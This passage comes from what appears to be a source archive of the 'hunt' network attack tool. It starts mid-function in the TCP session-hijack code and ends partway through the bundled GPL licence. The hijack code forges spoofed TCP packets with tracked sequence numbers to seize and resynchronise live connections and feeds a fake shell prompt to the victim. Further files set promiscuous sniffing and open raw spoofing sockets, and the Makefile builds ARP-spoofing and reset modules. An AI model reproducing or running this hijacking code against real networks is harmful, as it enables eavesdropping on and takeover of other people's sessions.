ci->src.next_seq; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = htons(ntohs(ci->dst.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = data; ts.data_len = data_len; send_tcp_packet(&ts); need_write -= data_len; #if 0 printf("write send/src seq = %u, ack = %u\n", ntohl(ts.seq), ntohl(ts.ack_seq)); printf(" dst seq = %u, ack = %u\n", ntohl(ci->dst.next_seq), ntohl(ci->dst.next_d_seq)); #endif } static void need_read_positive(struct packet *p, struct conn_info *ci) { struct tcp_spec ts; memset(&ts, 0, sizeof(ts)); ts.saddr = ci->dst_addr; ts.daddr = ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = ci->src.dst_mac; ts.dst_mac = ci->src.src_mac; ts.seq = ci->src.next_d_seq; ts.ack_seq = ci->src.next_seq; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = htons(ntohs(ci->dst.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = p->p_data; ts.data_len = p->p_data_len; if (p->p_data[0] == '\r' || p->p_data[0] == '\n') { ts.data = "\r\n$ "; ts.data_len = 4; } else { ts.data = p->p_data; ts.data_len = p->p_data_len; } send_tcp_packet(&ts); need_read -= p->p_data_len; need_write -= p->p_data_len; #if 0 printf("need read = %d, send/src seq = %u, ack = %u\n", need_read, ntohl(ts.seq), ntohl(ts.ack_seq)); printf(" dst seq = %u, ack = %u\n", ntohl(ci->dst.next_seq), ntohl(ci->dst.next_d_seq)); #endif } void f_hijack_sync(struct packet *p, struct conn_info *ci) { static unsigned int last_read_ack, dst_last_ack; struct tcp_spec ts; char buf[512], *w_data; int len; #if 0 if (p->p_ipc != 0) { need_read = ntohl(ci->dst.next_d_seq) - ntohl(ci->src.next_seq); need_write = ntohl(ci->dst.next_seq) - ntohl(ci->src.next_d_seq); if (need_read < 0) need_read_negative(ci); #ifndef SYNC_FAST packet_free(p); #endif return; } #endif if (p->p_iph->saddr == ci->src_addr && p->p_iph->daddr == ci->dst_addr && p->p_hdr.p_tcph->source == ci->src_port && p->p_hdr.p_tcph->dest == ci->dst_port) { /* * packet from source */ need_read = ntohl(ci->dst.next_d_seq) - ntohl(ci->src.next_seq); need_write = ntohl(ci->dst.next_seq) - ntohl(ci->src.next_d_seq); if (need_read) { if (need_read > 0 && need_write >= 0) { if (p->p_data_len > 0) { print_data_packet(p, p->p_data_len, 0, 0); need_read_positive(p, ci); last_read_ack = htonl(ntohl(ci->src.next_d_seq) + p->p_data_len); } } else { need_read_write_negative(ci); } } else if (need_write > 0) { /* need read == 0 */ if (p->p_data_len) print_data_packet(p, p->p_data_len, 0, 0); if (last_read_ack == p->p_hdr.p_tcph->ack_seq && p->p_data_len) { len = p->p_data_len; if (len > sizeof(buf)) len = sizeof(buf); memcpy(buf, p->p_data, len); w_data = buf; } else { len = 0; w_data = NULL; } need_write_positive(ci, w_data, len); } else if (need_write < 0) { need_read_write_negative(ci); } else { /* need_read == 0 && need_write == 0 */ #if 0 printf("need_write %d, need_read %d, src seq = %u, ack = %u\n", need_read, need_write, ntohl(ci->src.next_seq), ntohl(ci->src.next_d_seq)); printf(" dst seq = %u, ack = %u\n", ntohl(ci->dst.next_seq), ntohl(ci->dst.next_d_seq)); #endif #if SYNC_FAST pthread_mutex_lock(&mutex_hijack_sync); #endif f_sync_done = 1; #if SYNC_FAST pthread_cond_signal(&cond_hijack_sync); pthread_mutex_unlock(&mutex_hijack_sync); #endif } } else { if (p->p_iph->saddr == ci->dst_addr && p->p_iph->daddr == ci->src_addr && p->p_hdr.p_tcph->source == ci->dst_port && p->p_hdr.p_tcph->dest == ci->src_port) { need_read = ntohl(ci->dst.next_d_seq) - ntohl(ci->src.next_seq); need_write = ntohl(ci->dst.next_seq) - ntohl(ci->src.next_d_seq); if (dst_last_ack != ci->dst.next_seq) { /* packet from dst - ACK it */ ts.saddr = ci->src_addr; ts.daddr = ci->dst_addr; ts.sport = ci->src_port; ts.dport = ci->dst_port; ts.src_mac = ci->dst.dst_mac; ts.dst_mac = ci->dst.src_mac; ts.seq = ci->dst.next_d_seq; ts.ack_seq = ci->dst.next_seq; ts.window = ci->src.window ? ci->src.window : htons(242); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = NULL; ts.data_len = 0; send_tcp_packet(&ts); dst_last_ack = ts.ack_seq; if (need_read < 0 || need_write < 0) { need_read_write_negative(ci); } else if (need_read == 0) { if (need_write > 0) need_write_positive(ci, NULL, 0); } else { /* need read > 0 */ if (nw_was_negative) { nw_was_negative = 0; hijack_sync_init_msg(ci); } } } if (need_read == 0 && need_write == 0) { f_sync_done = 1; } } } #ifndef SYNC_FAST packet_free(p); #endif } void ctrl_c_sync_handler(int signr) { sync_was_canceled = 1; f_sync_done = 1; } int hijack_sync(struct conn_info *ci) { struct ifunc_item ifunc_f, ifunc_dst; struct timespec absts; struct timeval now; struct sigaction sac, old_sac; struct packet *p; nw_was_negative = 0; f_sync_done = 0; list_produce_start(&l_hijack_conn); #ifdef SYNC_FAST pthread_mutex_init(&mutex_hijack_sync, NULL); pthread_cond_init(&cond_hijack_sync, NULL); ifunc_f.func = (void(*)(struct packet *, void *)) f_hijack_sync; ifunc_f.arg = ci; list_enqueue(&l_ifunc_fast_tcp, &ifunc_f); #else ifunc_f.func = (void(*)(struct packet *, void *)) func_hijack_src_sync; ifunc_f.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_f); ifunc_dst.func = (void(*)(struct packet *, void *)) func_hijack_dst_sync; ifunc_dst.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_dst); #endif /* do this that you can interupt pthread_cond_timedwait through ctrl-c */ gettimeofday(&now, NULL); absts.tv_sec = now.tv_sec + 100000; absts.tv_nsec = 0; hijack_sync_init_msg(ci); sync_was_canceled = 0; sac.sa_handler = ctrl_c_sync_handler; sigemptyset(&sac.sa_mask); sigaddset(&sac.sa_mask, SIGINT); sac.sa_flags = SA_RESTART; sigaction(SIGINT, &sac, &old_sac); #ifdef SYNC_FAST need_read_write_init(); if (need_read < 0 || need_write < 0) need_read_write_negative(ci); pthread_mutex_lock(&mutex_hijack_sync); while (!f_sync_done) { pthread_cond_timedwait(&cond_hijack_sync, &mutex_hijack_sync, &absts); } pthread_mutex_unlock(&mutex_hijack_sync); list_remove(&l_ifunc_fast_tcp, &ifunc_f); #else if (need_write < 0) nw_was_negative = 0; need_read_write_init(); if (need_read < 0 || need_write < 0) need_read_write_negative(ci); if (need_read != 0 || need_write != 0) { while (1) { if (!f_sync_done && (p = list_consume(&l_hijack_conn, NULL))) { f_hijack_sync(p, ci); } else break; if (sync_was_canceled) break; } } list_remove(&l_ifunc_tcp, &ifunc_f); list_remove(&l_ifunc_tcp, &ifunc_dst); #endif packet_flush(&l_hijack_conn); if (sync_was_canceled) press_key("\n-- press any key> "); sigaction(SIGINT, &old_sac, NULL); #if 0 struct timespec relts; /* * wait a while - conn will be updated from ACK */ relts.tv_sec = 1; relts.tv_nsec = /* 500000000 */ 0; nanosleep(&relts, NULL); need_read = ntohl(ci->dst.next_d_seq) - ntohl(ci->src.next_seq); need_write = ntohl(ci->dst.next_seq) - ntohl(ci->src.next_d_seq); if (!need_read && !need_write) return 0; else { printf("final need read %d, need write %d\n", need_read, need_write); if (need_read > -4 && need_read < 4 && need_write > -4 && need_write < 4) printf("maybe the synchronization was successful\n"); return -1; } #else if (sync_was_canceled) return -1; else return 0; #endif } hunt-1.5/tap.c100644 0 0 6460 6772412472 11365 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include #include #include #include #include #include #include #include #ifdef _WITH_LINUX_KERNEL_HDR #include #include #include extern int socket(int domain, int type, int protocol); #define HL_MODE_NR 0 extern char *host_lookup(unsigned int in, int use_mode); extern int verbose; #else #include #include #include #include #include #include "hunt.h" #endif unsigned char my_eth_mac[ETH_ALEN]; unsigned int my_eth_ip; int tap(char *device, int promisc_mode) { int fd; struct ifreq ifr; /* Link-layer interface request structure */ /* Ethernet code for IP 0x0800==ETH_P_IP */ /* * here ETH_P_IP - je to jedno, stejne pres nej poslu ARP packet * nevim ale jestli ho prijmu? */ /* * look at tcpdump */ if ((fd = socket(AF_INET, SOCK_PACKET, /*htons(ETH_P_IP)*/ htons(ETH_P_ALL))) < 0) { if (verbose) perror("(tap) SOCK_PACKET allocation problems [fatal]"); exit(1); } strncpy(ifr.ifr_name, device, IFNAMSIZ); ifr.ifr_name[IFNAMSIZ - 1] = 0; if ((ioctl(fd, SIOCGIFFLAGS, &ifr)) < 0) { /* Get the device info */ if (verbose) perror("(tap) Can't get device flags [fatal]"); close(fd); exit(1); } if (!promisc_mode) ifr.ifr_flags &= ~IFF_PROMISC; /* Unset promiscuous mode */ else ifr.ifr_flags |= IFF_PROMISC; /* Set promiscuous mode */ #if 0 if (ifr.ifr_flags & IFF_SOFTHEADERS) { printf("had softheaders\n"); ifr.ifr_flags ^= IFF_SOFTHEADERS; } #endif if ((ioctl(fd, SIOCSIFFLAGS, &ifr)) < 0) { /* Set flags */ if (verbose) perror("(tap) Can't set/unset promiscuous mode [fatal]"); close(fd); exit(1); } if(!promisc_mode){ close(fd); return 0; } else { if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) { if (verbose) perror("(tap) Can't get interface IP address"); tap(device, 0); exit(1); } my_eth_ip = *(unsigned int *) (ifr.ifr_addr.sa_data + 2); if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0) { if (verbose) perror("(tap) Can't get interface HW address"); tap(device, 0); exit(1); } memcpy(my_eth_mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN); if (verbose) { printf("listeining on %s %s ", device, host_lookup(my_eth_ip, HL_MODE_NR)); print_eth_mac(my_eth_mac); printf("\n"); } return fd; } } int get_ifc_info(char *ifc_name, unsigned int *ip, char *mac) { int fd; struct ifreq ifr; if ((fd = socket(AF_INET, SOCK_RAW, /*htons(ETH_P_IP)*/ htons(ETH_P_ALL))) < 0) { return -1; } strncpy(ifr.ifr_name, ifc_name, IFNAMSIZ); ifr.ifr_name[IFNAMSIZ - 1] = 0; if (ip) { if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) { close(fd); return -1; } *ip = *(unsigned int *) (ifr.ifr_addr.sa_data + 2); } if (mac) { if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0) { close(fd); return -1; } memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN); printf("mac on %s ", ifc_name); print_eth_mac(mac); printf("\n"); } close(fd); return 0; } hunt-1.5/tty.c100644 0 0 4136 7005524074 11407 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include static struct termios save_termios; static int ttysavefd = -1; static enum { RESET, RAW, CBREAK } ttystate = RESET; /* put terminal into a cbreak mode */ int tty_cbreak(int fd, int wait_for_chars, int timer_dsec) { struct termios buf; if (tcgetattr(fd, &save_termios) < 0) return -1; buf = save_termios; buf.c_lflag &= ~(ECHO | ICANON); /* echo off, canonical mode off */ buf.c_cc[VMIN] = wait_for_chars; buf.c_cc[VTIME] = timer_dsec; if (tcsetattr(fd, TCSAFLUSH, &buf) < 0) return -1; ttystate = CBREAK; ttysavefd = fd; return 0; } /* put terminal into a raw mode */ int tty_raw(int fd, int wait_for_chars, int timer_dsec) { struct termios buf; if (tcgetattr(fd, &save_termios) < 0) return -1; buf = save_termios; buf.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG); /* echo off, canonical mode off, extended input processing off, signal chars off */ buf.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON); /* no SIGINT on BREAK, CR-to-NL off, input parity check off, don't strip 8th bit on input, output flow control off */ buf.c_cflag &= ~(CSIZE | PARENB); /* clear size bits, parity checking off */ buf.c_cflag |= CS8; /* set 8 bits/char */ buf.c_oflag &= ~(OPOST); /* output processing off */ buf.c_cc[VMIN] = wait_for_chars; buf.c_cc[VTIME] = timer_dsec; if (tcsetattr(fd, TCSAFLUSH, &buf) < 0) return -1; ttystate = RAW; ttysavefd = fd; return 0; } /* restore terminal's mode */ int tty_reset(int fd) { if (ttystate != CBREAK && ttystate != RAW) return 0; if (tcsetattr(fd, TCSAFLUSH, &save_termios) < 0) return -1; ttystate = RESET; return(0); } /* can be set up by atexit(tty_atexit) */ void tty_atexit(void) { if (ttysavefd >= 0 && ttystate != RESET) tty_reset(ttysavefd); } /* reset linux terminal */ void tty_tput_reset(void) { printf("\033c\033]R"); fflush(stdout); } hunt-1.5/util.c100644 0 0 17736 7114735743 11606 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include #include #include #if 0 static char *__tty_color[] = { "\033[0;40;30m", /* 0 black on black */ "\033[0;40;31m", /* 1 red */ "\033[0;40;32m", /* 2 green */ "\033[0;40;33m", /* 3 brown */ "\033[0;40;34m", /* 4 blue */ "\033[0;40;35m", /* 5 magenta */ "\033[0;40;36m", /* 6 cyan */ "\033[0;40;37m", /* 7 light gray */ "\033[1;40;30m", /* 0 gray */ "\033[1;40;31m", /* 1 brightred */ "\033[1;40;32m", /* 2 brightgreen */ "\033[1;40;33m", /* 3 yellow */ "\033[1;40;34m", /* 4 brightblue */ "\033[1;40;35m", /* 5 brighmagenta */ "\033[1;40;36m", /* 6 brightcyan */ "\033[1;40;37m", /* 7 white */ }; #endif void print_colors() { int i; for (i = 0; i < 16; i++) { set_tty_color(i); printf("%d Hi\n", i); } } void set_tty_color(enum TTY_COLOR color) { set_tty_color_bg(color, COLOR_BLACK); } void set_tty_color_bg(enum TTY_COLOR fg, enum TTY_COLOR bg) { char buf[32]; sprintf(buf, "\033[%d;4%d;3%dm", fg / 8, bg % 8, fg % 8); fputs(buf, stdout); } int is_power2(unsigned int i) { while (!(i & 1)) i >>= 1; i >>= 1; return i ? 0 : 1; } int log2(unsigned int i) { int l = 0; if (!i) return -1; while (!(i & 1)) { l++; i >>= 1; } i >>= 1; if (i) return 0; else return l; } int count_mask(unsigned int mask) { int retval; retval = 0; while (mask) { if (mask & 1) retval++; mask >>= 1; } return retval; } void print_data_packet(struct packet *p, int data_len, int count, int dst_packet) { static unsigned int hsrc_seq_done; static unsigned int hdst_seq_done; int data_start; int i; data_start = 0; #if 0 if (count == 1) { if (dst_packet) hdst_seq_done = ntohl(p->p_hdr.p_tcph->seq) + data_len; else hsrc_seq_done = ntohl(p->p_hdr.p_tcph->seq) + data_len; } #endif if (count > 1) { if (dst_packet) data_start = hdst_seq_done - ntohl(p->p_hdr.p_tcph->seq); else data_start = hsrc_seq_done - ntohl(p->p_hdr.p_tcph->seq); if (data_start < 0) data_start = 0; } if (!dst_packet) set_tty_color(COLOR_GREEN); for (i = data_start; i < data_len; i++) { if (p->p_data[i] == '\r' && i + 1 < data_len && p->p_data[i + 1] != '\n') putchar('\n'); else { if (isprint(p->p_data[i]) || isspace(p->p_data[i]) || (print_cntrl_chars && (iscntrl(p->p_data[i]) || p->p_data[i] == 033))) putchar(p->p_data[i]); else { printf("<%X>", (unsigned int) (unsigned char) p->p_data[i]); } } } if (!dst_packet) set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); if (count && data_start <= data_len) { if (dst_packet) hdst_seq_done = ntohl(p->p_hdr.p_tcph->seq) + data_len; else hsrc_seq_done = ntohl(p->p_hdr.p_tcph->seq) + data_len; } } void print_data(char *label, void *data, int len) { int i; printf("%s: ", label); for (i = 0; i < len; i++) { printf("%X ", ((unsigned char *)data)[i]); } printf("\n"); } unsigned short ip_in_cksum(struct iphdr *iph, unsigned short *ptr, int nbytes) { register long sum = 0; /* assumes long == 32 bits */ u_short oddbyte; int pheader_len; unsigned short *pheader_ptr; struct pseudo_header { unsigned long saddr; unsigned long daddr; unsigned char null; unsigned char proto; unsigned short tlen; } pheader; pheader.saddr = iph->saddr; pheader.daddr = iph->daddr; pheader.null = 0; pheader.proto = iph->protocol; pheader.tlen = htons(nbytes); pheader_ptr = (unsigned short *)&pheader; for (pheader_len = sizeof(pheader); pheader_len; pheader_len -= 2) { sum += *pheader_ptr++; } while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { /* mop up an odd byte, if necessary */ oddbyte = 0; /* make sure top half is zero */ *(u_char *) (& oddbyte) = *(u_char *) ptr; /* one byte only */ sum += oddbyte; } sum = (sum >> 16) + (sum & 0xFFFF); return ~(sum + (sum >> 16)) & 0xFFFF; } unsigned short in_cksum(unsigned short *ptr, int nbytes) { register long sum=0; /* assumes long == 32 bits */ u_short oddbyte; while(nbytes>1){ sum+=*ptr++; nbytes-=2; } if(nbytes==1){ /* mop up an odd byte, if necessary */ oddbyte=0; /* make sure top half is zero */ *(u_char *)(&oddbyte)=*(u_char *)ptr; /* one byte only */ sum+=oddbyte; } sum = (sum >> 16) + (sum & 0xFFFF); return ~(sum + (sum >> 16)) & 0xFFFF; } int sprintf_eth_mac(char *b, unsigned char *mac) { return sprintf(b, "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); } int print_eth_mac(unsigned char *mac) { char buf[64]; sprintf_eth_mac(buf, mac); return printf("%s", buf); } int rawsock(void) { int fd,val=1; if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { if(verbose) perror("\n(rawsock) Socket problems [fatal]"); exit(1); } #ifdef IP_HDRINCL if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val)) < 0) { if (verbose) { perror("Cannot set IP_HDRINCL socket option"); fprintf(stderr,"\nIf you are relying on this rather then a hacked kernel to spoof packets, your sunk.\n[cr]"); getchar(); } } #endif return fd; } #if 0 static unsigned const ethernet_polynomial_le = 0xedb88320U; static inline unsigned int ether_crc_le(int length, unsigned char *data) { unsigned int crc = 0xffffffff; /* Initial value. */ while(--length >= 0) { unsigned char current_octet = *data++; int bit; for (bit = 8; --bit >= 0; current_octet >>= 1) { if ((crc ^ current_octet) & 1) { crc >>= 1; crc ^= ethernet_polynomial_le; } else crc >>= 1; } } return crc; } #endif int sprintf_db_ports(unsigned int *ports, char *buf, int buf_size, int all) { char *buf_orig; int i; buf_orig = buf; if (ports[0] == 0) { if (all) buf += sprintf(buf, "all"); return buf - buf_orig; } for (i = 0; ports[i]; i++) { if (PORT_INTERVAL(ports[i])) { /* buf += sprintf(buf, "%d:%d ", ntohs(PORT_VAL(ports[i])), ntohs(ports[i+1]));*/ buf += sprintf(buf, "%s:%s ", port_lookup(PORT_VAL(ports[i]), hl_mode), port_lookup(ports[i+1], hl_mode)); ++i; } else /* buf += sprintf(buf, "%d ", ntohs(ports[i]));*/ buf += sprintf(buf, "%s ", port_lookup(ports[i], hl_mode)); } *(buf - 1) = 0; return buf - buf_orig; } int port_match(int port, unsigned int *db_ports) { int start, end; int pass; int i; if (!db_ports[0]) return 1; pass = 0; for (i = 0; db_ports[i]; i++) { if (PORT_INTERVAL(db_ports[i])) { start = ntohs(PORT_VAL(db_ports[i])); end = ntohs(db_ports[++i]); if (start <= ntohs(port) && ntohs(port) <= end) { pass = 1; break; } } else if (port == db_ports[i]) { pass = 1; break; } } if (pass) return 1; else return 0; } void port_htons(unsigned int *db_ports) { int i; unsigned int upper; for (i = 0; db_ports[i]; i++) { upper = db_ports[i] & (~PORT_MASK); db_ports[i] = upper | htons(PORT_VAL(db_ports[i])); } } unsigned char __suggest_mac[ETH_ALEN] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0x00}; unsigned char *suggest_mac(void) { int i; for (i = ETH_ALEN - 1; i >= 0; i++) { if (++__suggest_mac[i] != 0) break; ++__suggest_mac[i]; /* don't leave it 00 ??? */ } return __suggest_mac; } void ctrl_c_prompt(void) { set_tty_color(COLOR_BRIGHTRED); printf("CTRL-C to break\n"); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); } void clear_scr(void) { int i; for (i = 0; i < 50; i++) putchar('\n'); } int writen(int fd, char *ptr, int nbytes) { int nleft, nwritten; nleft = nbytes; while (nleft > 0) { nwritten = write(fd, ptr, nleft); if (nwritten <= 0) return(nwritten); /* error */ nleft -= nwritten; ptr += nwritten; } return(nbytes - nleft); } hunt-1.5/Makefile100644 0 0 1533 6763433122 12064 0ustar rootrootCFLAGS=-Wall -O2 -g -D_REENTRANT #CFLAGS+=-DSYNC_FAST #CFLAGS+=-D_WITH_LINUX_KERNEL_HDR LDFLAGS= #LDFLAGS=-static OBJ=hunt.o main.o c/list.o c/hash.o c/array.o util.o net.o \ rst.o menu.o hijack.o rstd.o sniff.o macdisc.o \ tap.o arphijack.o tty.o synchijack.o arpspoof.o hostup.o \ addpolicy.o options.o resolv.o timer.o pktrelay.o hunt: $(OBJ) $(CC) ${LDFLAGS} -o $@ $^ -lpthread hunt_static: $(OBJ) $(CC) ${LDFLAGS} -static -o $@ $^ -lpthread all: hunt hunt_static dist: all clean strip hunt strip hunt_static clean: rm -f *.o core c/*.o c/core c/list_test c/hash_test c/array_test $(MAKE) -C tpserv clean # rm -rf .sniff distclean: rm -f *.o core c/*.o c/core c/list_test c/hash_test c/array_test rm -f hunt hunt_static $(MAKE) -C tpserv distclean # rm -rf .sniff cleandist: distclean clean-dist: distclean dist-clean: distclean hunt-1.5/COPYING100644 0 0 43077 6614622044 11506 0ustar rootroot GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave, Cambridge, MA 02139, USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR 